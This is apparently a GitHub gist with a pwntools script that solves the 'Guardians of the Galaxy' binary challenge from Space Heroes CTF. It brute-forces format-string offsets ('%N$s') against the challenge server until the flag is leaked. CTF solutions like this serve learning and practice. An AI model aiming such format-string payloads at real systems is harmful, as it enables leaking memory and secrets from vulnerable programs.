Skip to content

Instantly share code, notes, and snippets.

@jktrn
Last active June 15, 2022 16:33
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Solve for the pwn/binary challenge "Guardians of the Galaxy" from the Space Heroes CTF competition.
from pwn import *
for i in range(0, 100):
p = remote('0.cloud.chals.io', 12690)
log.info(f"Trying offset {i}...")
p.sendline(bytes(('%' + str(i) + '$s'), encoding='utf-8'))
output = p.recvS()
if 'shctf' in output:
log.success(output)
break
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment